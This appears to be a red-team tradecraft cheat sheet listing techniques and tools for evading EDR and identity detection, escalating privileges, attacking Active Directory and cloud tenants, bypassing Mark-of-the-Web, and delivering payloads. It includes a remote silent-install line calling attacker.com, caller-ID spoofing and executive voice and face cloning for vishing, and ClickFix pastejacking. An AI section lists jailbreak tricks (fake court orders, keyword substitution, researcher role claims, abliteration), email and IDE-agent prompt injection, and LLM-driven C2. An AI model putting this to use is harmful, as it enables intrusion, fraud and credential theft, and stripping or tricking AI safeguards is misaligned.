Principles for minimizing detection footprint
  • Live off the land: Use legitimate tools already on the system when possible
  • Inline execution: Run BOFs/inline .NET instead of fork & run — no child processes
  • Minimize cross-process operations: Injection, handle access trigger kernel callbacks
  • Sleep long: 60s+ sleep with high jitter (50%+) — reduces beacon frequency
  • Vary IOCs: Different named pipes, URIs, user-agents per target host
  • Work hours only: Operate during business hours to blend with normal admin activity
  • Credential discipline: Don't spray — use known-good creds, respect lockout policies
  • Network awareness: Check firewall rules, proxy config, DNS resolution before acting
OPSEC

Network OPSEC

C2 traffic, DNS, and network-level detection avoidance
  • JA3/JA3S fingerprinting: TLS client hello is unique per application — default CS has known JA3
  • Mitigate: Use nginx/Apache in front to proxy TLS — JA3 becomes the web server's
  • JARM: Active TLS server fingerprinting — default CS team server has known JARM
  • Domain categorization: Uncategorized domains = suspicious — get yours categorized before use
  • User-Agent: Match the target org's browser/OS distribution — Chrome on Windows, not curl/python
  • DNS: Don't query your C2 domain from the team server itself — use separate DNS resolution
  • Traffic volume: Sudden spike in HTTPS to a new domain = network anomaly detection trigger
OPSEC

MDI & Identity Detection Evasion

Bypass Microsoft Defender for Identity, CrowdStrike Identity, and identity-layer detections
  • ldapx: LDAP proxy that modifies queries in-transit — strip suspicious attributes before they reach MDI sensors
  • MDI LDAP bypass: Use objectGUID=* filter + ReplaceTautologies to avoid MDI LDAP query signature detection
  • CrowdStrike Identity: Flags objectType=* queries, RC4 tickets, and Impacket/CrackMapExec network signatures
  • DCSync from DC account: Use the DC's own machine account for DCSync — Elastic detection rules skip accounts ending in $
  • Certipy PKINIT evasion: Use Schannel authentication instead of PKINIT to avoid MDI detection. PKINITtools with modified etypes avoids alerts
  • ADCS recon via ADWS: Use Active Directory Web Services instead of LDAP for ADCS enumeration — different detection surface
  • Secretsdump IOC pipeline: CI/CD pipeline to automatically strip known Impacket indicators from tools before engagement
  • SCCM tool OPSEC: sccmhunter uses Impacket backend that triggers alerts — prefer LDAP queries or ldeep sccm module
OPSEC

Canary Token & Honeypot Detection

Detect traps before you trigger them — canary tokens, honey files, and ProjFS detection
  • IndicatorOfCanary: Detect canary tokens in documents, DNS, web, and other formats before triggering alerts
  • ProjFS detection: Use PrjGetOnDiskFileState API to detect ProjFS-tracked directories used by Thinkst canarytokens
  • AWS canary evasion: Thinkst canary tokens leak token ID in username — send fake events with spoofed IP to confuse SOC
  • EDR fake data awareness: Cortex and Defender hook API functions to return fabricated shares, users, and file paths to suspicious processes
  • Cortex fake data: Hooks samcli.dll functions (NetLocalGroupMembers, NetShareEnum) — validate data through alternative APIs
  • MDE emulator detection: Resolve MpSomeSandboxOnlyFunction via GetProcAddress — check for fake processes (mirc.conf) returned by emulator sandbox
  • Silverfort awareness: MFA across all protocols via DC agent — significantly complicates red team operations. Identify early

// Privilege Escalation

From standard user to SYSTEM, Domain Admin, or cloud admin. Local privilege escalation is often the first step after initial access — every path has different requirements and detection profiles.

PRIVESC

Local Privilege Escalation

Standard user to SYSTEM — service misconfigurations, installer abuse, and unpatched vulnerabilities
  • MSI installer repair: Abuse Windows Installer repair functionality to gain SYSTEM — historically ran with SYSTEM privs (CVE-2024-38014, now patched with UAC)
  • WSUS LPE: HTTP WSUS server exploitation with delivery optimization bypass — requires working around "delivery optimization" on Win11
  • CVE-2025-21204: Windows Update Stack privilege escalation — abuse update mechanism for SYSTEM
  • TrustedInstaller via DISM API: Elevate to TrustedInstaller service account using DISM — can stop PPL-protected EDR services
  • AdminByRequest / BeyondTrust: Bypass Privileged Access Management solutions — vendor-specific weaknesses
  • RAITrigger: WebDAV local SYSTEM authentication trigger for relaying to LDAP/SMB
  • EnableEFS: Enable EFS service as low-privilege user — then use for coercion attacks. Available as PE and BOF
  • Unquoted service paths: Classic — place binary in path gap of unquoted service executable paths
PRIVESCEVASION

BYOVD & Kernel Exploitation

Bring Your Own Vulnerable Driver to terminate EDR or gain kernel access
  • BYOVD concept: Load a signed but vulnerable kernel driver — exploit it to gain kernel-level access or terminate EDR processes
  • Sunder / appid.sys: Vulnerable drivers for terminating EDR processes from kernel mode
  • CVE-2025-52915: Specific driver vulnerability for EDR process termination
  • Cortex blocks all loldrivers.io: Flags drivers by both hash AND Authenticode signature — need unknown vulnerable drivers
  • PatchGuardEncryptorDriver: Tool for PatchGuard manipulation — advanced kernel-level operations
  • EDR-Freeze: WerFaultSecure-based process suspension against EDR — works on Win11 Pro but fails on Enterprise due to PPL
  • PPL exploitation: Protected Process Light prevents direct access to EDR processes — requires kernel-level exploit or TrustedInstaller
  • ci!CiValidateFileAsImageType: Stop third-party security from validating file images — kernel callback manipulation
PRIVESCLATERAL

AD Privilege Escalation

Domain escalation via Kerberos relay, delegation abuse, and certificate exploitation
  • KrbRelayUp: Kerberos relay-based local privilege escalation — relay Kerberos auth to gain SYSTEM
  • BadSuccessor (dMSA): Delegated Managed Service Account privilege escalation on Windows Server 2025 — unpatched at time of discovery. SharpSuccessor .NET PoC
  • NTLM Reflection (CVE-2025-33073): SMB to LDAPS relay possible even with LDAP signing AND channel binding enabled — far more serious than initially assessed
  • RBCD (Resource-Based Constrained Delegation): Still works after Shadow Credentials patch — set up delegation on computer objects you control
  • SPNless RBCD: RBCD without requiring SPN — broader applicability
  • S4U2Self: Use machine NT hash for ticket impersonation — request ticket as any user to the machine
  • SCCM NAA extraction: DonPAPI to dump Network Access Account secrets — Protected Users group may give invalid creds but they still work for spawning processes
  • Coercer: Windows authentication coercion tool — RPC over HTTP variant bypasses Cortex

// Active Directory Attacks

ADCS exploitation, Kerberos attack chains, Shadow Credentials, and comprehensive AD enumeration. Active Directory remains the primary target in enterprise red team engagements.

CREDPRIVESC

ADCS Exploitation (ESC1–ESC15)

Active Directory Certificate Services — the most prolific escalation path in modern AD environments
  • ESC1: Vulnerable template allows attacker to specify SAN (Subject Alternative Name) — request cert as any user
  • ESC4 → ESC1 chain: Modify vulnerable template to enable ESC1 exploitation — propagation to CA can take up to 8 hours
  • ESC4 → Enrollment Agent: Alternative when ESC1 conversion fails due to DNS SAN requirements (CERTSRV_E_SUBJECT_DNS_REQUIRED)
  • Golden Cert: Forge any certificate with stolen CA private key — ultimate persistence
  • Certipy: All-in-one ADCS exploitation — find, exploit, and forge certificates
  • Certify / Locksmith: .NET ADCS enumeration and exploitation alternatives
  • Server Authentication: Noted as neglected attack surface — server auth EKU enables additional escalation paths
  • Stealthy ADCS recon: Query via ADWS (Active Directory Web Services) instead of LDAP — avoids LDAP-based detection
CREDLATERAL

Kerberos & Delegation Attacks

Kerberoasting, Shadow Credentials, constrained/unconstrained delegation abuse, and ticket forging
  • Shadow Credentials: Microsoft Jan 2026 patch broke self-write of msDS-KeyCredentialLink — bypass: set CustomKeyInformation flags to 0x02 (MFA_NOT_USED), remove KeyApproximateLastLogonTimeStamp. keycred by RedTeam Pentesting
  • Kerberoasting evasion: Use --stealth flag in Impacket. Note: Microsoft killing RC4 in Kerberos by 2026 — impacts kerberoasting significantly
  • Kerberos relay over SMB: Relay Kerberos authentication through SMB for delegation abuse
  • DES (etype 3) abuse: Exploit weak encryption type in Kerberos for ticket attacks
  • Timeroasting: Attack based on Kerberos timestamp encryption — novel credential extraction technique
  • krbtgt rotation internals: Detailed architecture of ticket attacks, PAC, and trust exploitation
  • Unconstrained delegation: Monitor for TGTs on delegation hosts with Rubeus monitor — capture and reuse
  • Constrained delegation: S4U2Proxy abuse to access services as any user when delegation is configured
CRED

DCSync & NTDS Extraction

Extract domain credentials via replication protocol or direct NTDS.dit access
  • DCSync OPSEC: Use the machine account of a DC — selectively dump with --ntds --user X. Elastic rules skip $ accounts for Event 4662
  • DSInternals: DCSync from Windows — reportedly undetected by several EDRs. Also available as BOF
  • BYODC: Bring Your Own Domain Controller — set up rogue DC for stealthy replication
  • ADCSSync: Alternative to DCSync — requests certificate per user from ADCS instead of replicating. Works against Cortex DCSync prevention
  • VSS via SMB remotely: impacket smbclient list_snapshots to access Volume Shadow Copies — extract NTDS.dit bypassing Cortex protection
  • ntdsutil.exe snapshot: Mount VSS snapshot and copy locked files (NTDS.dit, SAM) — undetected by Cortex XDR
  • DPAPI domain backup key: DCSync retrieves the DPAPI domain backup key — decrypt any user's DPAPI-protected secrets
  • secretsdump.py IOC bypass: Pipeline to strip known Impacket indicators before engagement
CRED

Token & Session Theft

Extract Azure AD tokens, Primary Refresh Tokens, and Windows token broker cache from endpoints
  • Windows Token Broker Cache: NetExec wam module for extracting cached tokens from Windows machines
  • Entra Refresh Tokens: Extract refresh tokens from compromised endpoints via Beacon — survive password changes
  • aadprt BOF: Acquire Primary Refresh Tokens (PRT) from Azure AD joined machines — PRTs have MFA + device claims
  • AAD Broker LocalState: Extract tokens from hybrid-joined machines — SpecterOps research. Blocked by SentinelOne
  • SeamlessPass: Convert Kerberos tickets to M365 access tokens via Seamless SSO
  • SignalKeyBOF / WhatsAppKeyBOF: Extract encryption keys from Signal/WhatsApp desktop for message decryption
  • FriendlyFireBOF: Suspend non-GUI threads to silence Teams, Outlook, Slack during operations
  • Passwordless ops: When users have no passwords (FIDO2/WHfB only) — steal TGT from memory, extract PRT, use SeamlessPass
CRED

vSphere Attack Operations

Leverage VMware vSphere access for credential extraction via snapshots and VMDK cloning
  • Snapshot method: Create VM snapshot → download .vmem and .vmsn from datastore → convert with vmss2core to .dmp → mount with MemProcFS or extract with Volatility 3
  • VMDK clone method: Clone VM to template → download VMDK → parse with Volumiser to extract SAM/SYSTEM/SECURITY. 60GB+ downloads possible
  • SharpSphere: Tool for vSphere interaction — VM operations, guest file interaction
  • VM must be running: .vmem files only exist when VM is powered on — plan timing accordingly
  • MemProcFS: Mount memory dumps as filesystem — LSASS minidump blocked by default. Patch out single if-statement checking image name and recompile
  • Credential targets: Domain Controllers, Exchange servers, SCCM — any VM with valuable cached credentials
  • OPSEC: Snapshot creation may be logged — prefer VMDK clone for stealthier extraction
CRED

AD Enumeration & Tooling

Comprehensive AD enumeration tools and techniques for attack path discovery
  • BloodHound-CE: Custom queries at queries.specterops.io, cypherhound, compassSecurity/bloodhoundce-resources
  • ADExplorerSnapshot: Enhanced with technology detection — SCCM, ADFS, ADCS, LAPS, Exchange auto-detected
  • dsquery.dll GUI: rundll32 dsquery.dll,OpenQueryWindow or Win+Ctrl+F for LDAP search GUI — useful in VDI/Citrix
  • bloodyAD: LDAP operations with certificates, PTH to LDAP for group modification — SOCKS compatible
  • godap: LDAP TUI with SOCKS tunnel support (-x flag) — interactive enumeration
  • ldap_shell: AD ACL abuse tool for direct LDAP operations
  • RelayInformer: Python/BOF utility to determine EPA (Extended Protection for Authentication) enforcement levels on relay targets
  • Misconfiguration-Manager: Central knowledge base for SCCM tradecraft — all attack paths documented

// MOTW Bypass & Delivery Techniques

Mark-of-the-Web controls are the frontline defense against downloaded payloads. These techniques bypass MOTW tagging, SmartScreen checks, and container-based protections.

MOTW

MOTW Bypass Techniques

Bypass Mark-of-the-Web tagging to avoid SmartScreen and Protected View
  • ADS (Alternate Data Streams): Payload hidden in NTFS ADS — OS does not propagate taint flags into internal data representations
  • Archive types preserving ADS: WinRAR (.rar) and 7zip WIM (.wim) format preserve ADS on extraction
  • RAR MOTW gaps: WinRAR tags LNKs but NOT: XLL, JS, URL, CLICKONCE, IQY, CPL, WSF, CHM
  • Polyglot LNK data: Data appended to LNKs or stored in ADS has no MOTW — embedded payloads execute clean
  • WebDAV delivery: Files served via WebDAV may avoid download-based MOTW tagging
  • curl downloads: Files downloaded via curl.exe may lack MOTW in certain configurations
  • Container bypass (legacy): ISO/VHD/IMG containers auto-mount — inner files lack MOTW (pre-patch, still useful on unpatched systems)
  • Trusted locations: Office XLSTART / template directories are trusted — no MOTW checks applied
MOTWACCESS

LNK-Based Delivery Chains

LNK files remain the most effective initial trigger — hard for Microsoft to kill due to legitimate usage
  • LNK chaining: Split complex commands across LNK₁ → LNK₂ → LNK₃ to stay under EDR thresholds (260-char limit, curl/iwr detection)
  • PATHEXT manipulation: SET PATHEXT=.PNG;%PATHEXT% → CMD treats PNG as executable — disguise PE as image
  • LNK + MSHTA polyglot: LNK simultaneously valid as HTA/VBS — mshta executes LNK directly, skips binary header errors
  • LNK to sideload: LNK masked as PDF → opens decoy + extracts DLL → sideloads via vulnerable app
  • forfiles proxy: Use forfiles to locate and execute payloads when exact path unknown
  • LNKSmuggler: Create .lnk files with embedded encoded data packaged into ZIP archives
  • Keep LNK small: Under 1KB recommended — file-size-based EDR detections trigger on oversized LNKs
MOTWPAYLOAD

Polyglot & Exotic File Formats

Single files valid as multiple formats — confuse parsers and evade type-based detection
  • COPY /B polyglot: COPY /Y /B a.lnk2+b.vbs c.lnk — appends VBS/ZIP to LNK binary, LNK still functions
  • .winget files: Execute winget configure with YAML DSC — runs arbitrary PowerShell, no SmartScreen, no MOTW. Default on Win11
  • KiXtart (.kix/.spk): Ancient obscure scripting with COM automation, WMI, LDAP, registry access — zero detection
  • desktop.ini cloaking: ActiveX Cache Folder CLSID hides folder contents from Explorer even with "show hidden" enabled
  • SFX archives: Self-extracting EXEs unpack and execute — ML models have ingested too many legit SFX to flag reliably
  • IExpress.exe: Built-in Windows tool creates self-extracting installers — resembles known-good carrier
  • Mitra: Binary polyglot generator for multi-format file creation
  • BAT/CMD with BOM: UTF-16 BOM prefix on ASCII batch — scanners see UTF-16LE, CMD executes as ASCII
MOTWEVASION

SmartScreen & SAC Bypass

Smart App Control and SmartScreen reputation bypass techniques
  • BAT/CMD search order hijack: Create 4-char BAT + hidden calc.bat — SAC allows BAT/CMD launched from CMD
  • SmartScreen DNS bypass: DNS-based techniques to bypass SmartScreen reputation checks
  • Expired cert signing: SmartScreen treats binaries with any certificate as less suspicious — expired certs work
  • WorstFit: Hidden Windows ANSI character transformations — bypass Sigma rules, path traversals, LOLBin abuse
  • MSC files (GrimResource): XSS in MMC console files. SmartScreen now blocks MOTW-tagged MSCs but chain with MOTW bypass
  • Chocolatey abuse: choco pack + choco install --force — reflective DLL loader fetches payload into memory, no prompts
  • Redirect chain: Custom protocol header → Windows Search → WebDAV → execution with zero warnings
MOTWPAYLOAD

MSI / MST Weaponization

Abuse Windows Installer for code execution, lateral movement, and persistence
  • MSI initial access: Running DLLs via msiexec was undetected by CrowdStrike Falcon
  • MST transforms: msiexec /i legit.msi TRANSFORMS=evil.mst /qb — modify legitimate MSI behavior to include malicious actions
  • MS-signed sideload: MSI installs MS-signed EXE vulnerable to DLL sideloading + malicious DLL + startup LNK
  • MSI repair SYSTEM: Historically ran with SYSTEM privileges (CVE-2024-38014, now patched with UAC)
  • Remote MSI: msiexec /i http://attacker.com/payload.msi /q — silent install from URL
  • Greenshot deser: Legitimate app + crafted .greenshot file triggers .NET deserialization RCE (ExploitDB 51633)
  • LOLBin chain: Greenshot.exe → foo.greenshot (ysoserial BinaryFormatter) → msiexec remote MSI

// Social Engineering & Vishing

Voice phishing, caller ID spoofing, deepfakes, and pastejacking. The human layer remains the weakest link — these techniques exploit trust, urgency, and helpfulness.

VISH

Caller ID Spoofing Infrastructure

Self-hosted PBX systems for caller ID spoofing — impersonate any phone number
  • Asterisk PBX: Self-hosted on Hetzner/AWS VPS — full control over outbound caller ID
  • StuntBanana: Minimalist Asterisk CID spoofer built for AWS deployment
  • FreePBX: Open-source IP PBX management — easier than raw Asterisk configuration
  • 3CX + Skyetel: PBX with SIP trunk integration. Configure Skyetel creds + set outbound CID for spoofing
  • Skyetel: Requires only driver's license (US). Supports Clip No Screening. STIR/SHAKEN is the main blocker
  • Easybell (EU): Cloud PBX with CID spoofing configurable in web UI — use Zoiper as SIP client
  • AWS Connect: Only requires billing-configured account — simpler than Twilio
  • BluffMyCall: SaaS alternative ~$30/month for quick CID spoofing without infra setup
VISHAI

Voice Cloning & Real-Time Deepfake

Clone executive voices from public recordings — real-time voice conversion for live calls
  • ElevenLabs Multi-Language: Works great across languages (Polish, Dutch, etc.) — pair with Vapi.ai for real-time chat
  • w-okada voice-changer: Local real-time voice conversion — ~250ms delay. Route through Voicemeeter Potato for Teams/Webex
  • RVC (Retrieval-Based): High-quality offline voice cloning — needs good training model for target language
  • Training data: Find "fireside chats" or public recordings — edit ~30min down to ~10min of just the target voice
  • Deep-Live-Cam: Real-time face swap with single image — 15+ FPS on modern GPU. Pipe through OBS into Teams/Zoom
  • DeepFaceLive: Alternative real-time face swap — requires RTX 3080 Ti+ for usable framerate
  • Video calls: Combine voice clone + face swap for fully synthetic video call appearance
  • Hedra: AI video creation for generating social engineering videos with fully faked characters

ClickFix / Pastejacking

Trick users into pasting malicious commands via fake CAPTCHAs and clipboard hijacking
  • Fake Cloudflare verification: Mimics Cloudflare CAPTCHA — checkbox copies PowerShell to clipboard, prompts Win+R paste
  • Mechanism: document.execCommand("copy") fires on interaction — user pastes base64-decoded PS command into Run dialog
  • recaptcha-phish: Fake reCAPTCHA phishing page — same clipboard hijack technique
  • Clickfix-Email: ClickFix technique adapted for email delivery instead of web
  • EXIF smuggling + ClickFix: Cache smuggling using EXIF data — payload hidden in image metadata
  • Script obfuscation: Paste content obfuscated with children's book text comments, base64 via atob()
  • Universal conversion: Any pretext can be converted into a ClickFix-captcha scenario
  • Effectiveness: Users trust CAPTCHA patterns instinctively — very high click-through rates

QR Code Phishing (Quishing)

QR codes that bypass email scanners — redirect to credential phishing or ClickFix pages
  • QRucible: Generates "imageless" QR codes using HTML/CSS/Unicode — evades image-based QR code scanners
  • HTML QR codes: Built with table cells and CSS instead of actual images — anti-spam can't scan what isn't an image
  • DocuSign + QR combo: DOCX with company logos + QR code leading to phishlet — "scan before digital signature" pretext
  • Pastejacking via QR: QR code leads to ClickFix page — combines both techniques
  • USPS QR postcards: Print professional postcards with QR codes — deliver via postal mail. Achieved 30% hit rate
  • Mobile targeting: QR forces mobile browser where corporate EDR/proxy has limited coverage
PHISH

Trusted Platform Abuse

Abuse legitimate SaaS platforms to send phishing from trusted domains
  • DocuSign API: Customizable email templates + API automation — sends from trusted DocuSign domains
  • AdobeSign: Sends from trusted Adobe domains — consistently lands in inbox
  • Microsoft Office Forms: Create surveys with embedded links from forms.office.com
  • Google Docs comments: Comment with link generates google.com redirect URL — excellent link reputation
  • Zendesk/Freshdesk trial: Create targetname.zendesk.com → support articles with payloads → vish employees to follow them
  • Canva websites: Quick landing page hosting on company.my.canva.site — trusted domain
  • Website contact features: Abuse "contact user" / "share file" features — sends from the company's own domain
  • LOTS Project: lots-project.com — comprehensive catalog of living-off-trusted-sites techniques

Pretext Library & Vishing Scenarios

Proven pretexts for phone-based social engineering and callback phishing
  • IT Support / Patch Tuesday: Pose as IT calling about critical update — guide through manual steps
  • Employee benefits: PerksAtWork/TicketsAtWork pretexts especially effective around new year
  • Helpdesk attack (MGM-style): Target helpdesks as attack surface — request password resets with OSINT
  • Mail bombing + Teams call: Flood inbox with signup emails → call as IT via Teams → QuickAssist for remote control
  • Fabricated ID via Zoom: Present fake ID over video call for password reset verification (legal risks vary)
  • Developer targeting: Impersonate client developer with "compiler error" — ask to compile backdoored project
  • Device code via phone: "I need to verify your identity — I'm generating a unique code for you"
  • Pretext Project: pretext-project.github.io — open library of proven pretext ideas

// Cloud Attack Operations

Azure/Entra ID, AWS, and GCP attack techniques. Cloud environments have different attack surfaces, detection mechanisms, and persistence opportunities than traditional on-prem infrastructure.

CLOUD

Azure / Entra ID Initial Access

Password spraying, MFA fatigue, and token theft against Microsoft cloud identity
  • IP-rotated spraying: CredMaster with FireProx/AWS API Gateway for source IP rotation per request
  • Smart Lockout bypass: Residential proxy rotation targeting same region/city as target HQ
  • Common passwords: Start123, username==password (e.g., backup@contoso.com:backup), legacy ADSync'd accounts
  • MFA phone fatigue: m365-fatigue — trigger alternative MFA (phone calls) until user accepts. Must avoid flooding detection
  • UPN vs email mismatch: User Principal Name may differ from email. TeamsEnum to pull real UPNs for spraying
  • Direct Send connector: M365 direct send open by default — telnet to .mail.protection.outlook.com:25
  • o365spray / TrevorSpray / TeamFiltration: M365 enumeration + spraying tools
CLOUD

Cloud Post-Exploitation & Enumeration

Enumerate Entra ID, M365, SharePoint, and Azure resources after initial access
  • GraphSpy: Browser GUI for AAD/O365 post-exploitation — file search across SPO/OneDrive/Mail/Teams + passkey enrollment
  • ROADtools/ROADrecon: Uses legacy Azure AD Graph API (graph.windows.net) which does NOT log read actions — stealthier than MS Graph
  • APEX: Azure Post Exploitation Framework — ROADrecon + GraphRunner + CA policy enumeration as low-priv user
  • GraphRunner: MS Graph post-exploitation for comprehensive data gathering
  • AzureHound: Entra ID enumeration using msgraph — noisier, has identifiable user agent
  • GraphPreConsentExplorer: Comprehensive list of first-party Entra clients with pre-consented Graph scopes
  • Stealth: Legacy AAD Graph endpoint does not log reads — most orgs don't capture MicrosoftGraphActivityLogs
CLOUD

Conditional Access Policy Bypass

Circumvent Entra ID Conditional Access Policies for device compliance, MFA, and location
  • Client ID brute force: Try all possible client IDs to find one that passes CAP (e.g., Microsoft Teams client ID)
  • Intune Company Portal ID: 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 had hardcoded undocumented CA exclusion (now restricted)
  • Fake device compliance: Register device + talk to Intune via OMA Device Management sync protocol. ROADtools roadtune
  • PoCEntraDeviceComplianceBypass: Pure PowerShell PoC to bypass Entra/Intune Compliance CA Policy
  • CAP exclusion gaps: If policy requires MFA for "All resources" but excludes one, Microsoft auto-adds additional exclusions
  • Hybrid Join bypass: Edge case when tenants explicitly exclude MS Intune from CAPs
  • TokenSmith: Bypassing Intune Compliant Device CA — generates compliant-appearing tokens
CLOUDPERSIST

Cloud Persistence Mechanisms

Maintain access after initial compromise — survives password changes and MFA resets
  • App Registration: Create application in target tenant + client secret + API permissions (mail, SPO, Teams) — survives pw change + MFA reset
  • Passkey enrollment: Add passkey to compromised user using only access token — counts as phishing-resistant MFA. GraphSpy supports this
  • WHFB registration: Register Windows Hello for Business credentials for persistent strong auth
  • Refresh token persistence: Captured refresh tokens survive password changes — refresh until revoked
  • AWS Role Juggling: AWSRoleJuggler — maintain persistent access by juggling between assumable IAM roles
  • GCP DWD abuse: DelePwn — exploit Domain-Wide Delegation misconfig to impersonate any GCP user
  • ADFS DRS abuse: Exploit ADFS legacy Device Registration Service for persistent cloud access
CLOUD

AWS Attack Operations

AWS-specific attack techniques from initial access to persistence and lateral movement
  • AWS SSO device code: aws sso login enables device code phishing identical to Entra — no CA policy to block, accesses ALL SSO accounts
  • GitHub Actions OIDC abuse: Compromise repo → exploit OIDC trust to access AWS — GuardDuty likely won't flag
  • Self-hosted runners theft: Copy runner directory to your server, start it — invisibly become the pipeline runner
  • AWS-Key-Hunter: Real-time monitoring of GitHub for exposed valid AWS keys
  • Lambda for IP rotation: Lambda-based beaconing and IP rotation — GuardDuty historically weak at detecting Lambda activity
  • VPCShark: Wireshark extcap for ad-hoc mirroring of EC2 traffic
  • Canary token evasion: Thinkst canary tokens leak token ID in username — can send fake events with spoofed IP/event to confuse SOC
  • IAMGraph / AWeSomeUserFinder: IAM graph analysis + username enumeration and spraying
CLOUDLATERAL

On-Prem to Cloud Pivoting

Leverage on-premises AD compromise to gain access to Azure/Entra ID cloud resources
  • SeamlessSSO (DesktopSSO): Dump AZUREADSSOACC$ NT hash → forge Kerberos Silver Ticket → exchange for Azure access token
  • Flow: Silver Ticket → SOAP request to autologon.microsoftazuread-sso.com → DesktopSsoToken → SAML Assertion → tokens
  • SeamlessPass: Automated tool for leveraging Kerberos tickets for cloud access
  • PRT extraction: Primary Refresh Tokens have MFA + device claims — satisfy both MFA and device registration CA requirements
  • PRT workflow: ROADrecon nonce → aadprt BOF for PRT-cookie → authenticate ROADrecon with msgraph
  • AAD BOFs: AzureAD Beacon Object Files for Cobalt Strike integration
  • Entra Metaverse: Attack tradecraft around AD-to-Entra syncing mechanics
  • Internal recon targets: SharePoint, Confluence, internal Git, wikis — look for hostnames, tokens, .env, Terraform configs

// macOS & Linux Red Teaming

Cross-platform techniques for non-Windows environments. Linux boxes commonly lack EDR, and macOS has unique security boundaries (TCC, Gatekeeper) that require specific bypass knowledge.

MACOS

macOS Initial Access & Persistence

macOS-specific attack vectors, persistence mechanisms, and security bypass
  • Homebrew abuse: Similar to Chocolatey on Windows — create malicious packages for code execution
  • VS Code extension abuse: Exploit VS Code's bootstrapping to quietly load malicious plugins
  • Electron/Node.js stealers: Very low detection rates — hard to distinguish from legitimate apps at binary level
  • BLE C2 implant: Client/server using Bluetooth Low Energy — no complaints from TCC, Gatekeeper, or code signing
  • BLE password exfil: Exfiltrate passwords from fake macOS prompts over BLE to nearby laptop
  • Bloatware LPE: Vendor hardware driver update software running as SYSTEM with browser-accessible local APIs
  • pamspy: Linux/macOS credential dumper using eBPF — hooks PAM to capture sudo/su/ssh credentials
LINUX

Linux Post-Exploitation

Linux systems commonly lack EDR — outbound traffic is less anomalous than Windows
  • Linux beachheads: Linux systems often have blinder/missing EDR agents — ideal for initial beachhead
  • Kerberos on Linux: Tickets stored in /tmp/krb5cc_* or kernel keyring — steal for PtT attacks
  • pamspy: eBPF-based credential capture — hooks PAM for sudo/su/ssh without needing a PAM module
  • SSH key harvesting: Search for ~/.ssh/id_*, authorized_keys, known_hosts for lateral movement targets
  • Container escapes: Docker socket access, privileged containers, host PID namespace abuse
  • Cron persistence: Add cron job for persistence — less monitored than Windows scheduled tasks
  • LD_PRELOAD hijack: Set LD_PRELOAD to load malicious shared library before legitimate ones
  • Cross-platform C2: Sliver (Go), Mythic agents (Poseidon/Medusa) — native Linux support
MACOSLATERAL

VPN Client Exploitation

Abuse VPN clients for code execution and lateral movement on macOS and cross-platform
  • NachoVPN: Malicious SSL-VPN server exploiting VPN client configurations
  • Cisco AnyConnect: Executes VBS without prompting when connecting to malicious VPN server
  • GlobalProtect LPE: Local privilege escalation through GlobalProtect VPN client
  • Target selection: VPN admins/support staff are ideal targets — likely to test connection profiles
  • Does not work through ZScaler — direct VPN connection required
LINUXACCESS

Developer Targeting & Supply Chain

Target developers through malicious projects, packages, and IDE exploitation
  • Malicious .suo / EvilSln: Visual Studio project opening triggers code execution via .suo files — bypasses MOTW via WebDAV
  • Backdoored compilation: Rust project executes payload during cargo build — target devs via "compiler error" pretext
  • UniObfuscator: Java Unicode obfuscator — hides code in comment tags using Java Unicode escapes
  • GitHub typosquatting: Lookalike account + fork repos + backdoored release + GitHub project invitation emails
  • npmphish: Device code phishing for npmjs.com — capture sessions and backdoor packages
  • pip/npm supply chain: Backdoored packages targeting internal caches (Artifactory) rather than public PyPI
  • WSL Payload Builder: Create custom WSL distributions with embedded payloads

// AI-Assisted Operations

LLM jailbreaking, AI-driven C2, autonomous agents, deepfake generation, and AI-assisted code development. The intersection of AI and offensive security is rapidly expanding the operator's toolkit.

AI

LLM Jailbreaking & Uncensoring

Bypass LLM safety alignment to generate offensive content — from prompt tricks to model surgery
  • Crescendo: Multi-turn jailbreak using smart many-shot prompts to gradually coerce restricted conversations
  • L1B3RT4S: Collection of LLM jailbreak/liberation prompts for various models
  • Abliteration: FailSpy/abliterator removes safety alignment from LLMs. Create LoRA from diff, apply to other models
  • Court order trick: Present fake "court order" to LLMs to bypass content restrictions
  • Keyword substitution: Replace flagged words ("spoof" → "normalization") to bypass content filters
  • Role declaration: "I am a cybersecurity researcher" reduces refusals in most commercial LLMs
  • Local uncensored: Run llama2-uncensored via Ollama — no guardrails, full offensive capability
  • Red Team Arena (redarena.ai): Platform for practicing LLM jailbreak techniques
AIC2

AI-Driven C2 & Autonomous Agents

LLM-powered command and control — non-deterministic code generation that defenders can't signature
  • AI C2 architecture: Human query → LLM generates Python/Lua code → feed into C2 agent loader — code unknown to defenders
  • Claude-C2: Uses MCP (Model Context Protocol) server for C2 communication — Claude makes API calls to create/retrieve tasks
  • Drone: NLP for on-host actions — "scan the local subnet for machines with RDP open"
  • Mythic MCP: Claude Sonnet driving Mythic C2 (Apollo agent) via MCP protocol
  • LitterBox MCP: Iteratively test payloads against detection, edit and recompile until bypassing Defender
  • Nerve: Create LLM agents via YAML tasklets — autonomous vulnerability discovery (found RCE in WordPress plugins)
  • Runtime code generation: LLM generates code not in the binary, kept in memory only — like BOF extensibility but non-deterministic
  • Windows MCP: Microsoft announced MCP for Windows OS — OS now AI-agent accessible for LotL tactics
AI

AI for Phishing & Social Engineering

AI-generated landing pages, foreign language phishing, and realistic visual content
  • SitesGPT: AI website builder producing realistic sites with non-obvious AI images — source code downloadable
  • Cursor/Windsurf/Bolt: AI-powered editors for creating phishing landing pages with self-decrypting capabilities
  • Foreign language phishing: LLMs apply idioms, dialects, and specific wording far better than Google Translate
  • Uizard: AI-powered UI design tool for creating pixel-perfect phishing page clones
  • Gmail Gemini injection: Embed invisible (white) text attack prompt in email → Gemini "Summarize" outputs malicious link
  • Prompt injection in IDE agents: Plant malicious instructions in blogs/GitHub that users feed as references to Codeium/Windsurf
  • Computer-Using Agents: OpenAI Operator and similar automate identity attacks at scale with no-code
AI

AI for Code Development & Malware

Using LLMs to write, debug, obfuscate, and iterate on offensive tooling
  • Cursor + Claude 3.5: Best combination for initial payload skeletons — Claude understands x64dbg screenshots for debugging
  • Deepseek-r1: Poor at code generation but excellent at debugging and fixing issues
  • Grok 3: No content restrictions observed for EDR unhooking discussions
  • RAGs for ops: Use Retrieval Augmented Generation to enhance red team operations with domain knowledge
  • RamiGPT: Autonomous privilege escalation using OpenAI — feeds system info, gets escalation paths
  • Garak: NVIDIA's framework for testing LLM vulnerabilities
  • PyRIT: Microsoft's AI red teaming framework — pits AI against AI for security assessment
  • Local stack: Ollama (backend) + OpenWebUI (GUI with RAG) + Continue.Dev (VS Code Copilot replacement)
AI

AI for Reverse Engineering & Analysis

LLM-assisted binary analysis, deobfuscation, and attack path discovery
  • GhidraMCP: MCP Server for Ghidra — AI-assisted reverse engineering and binary analysis
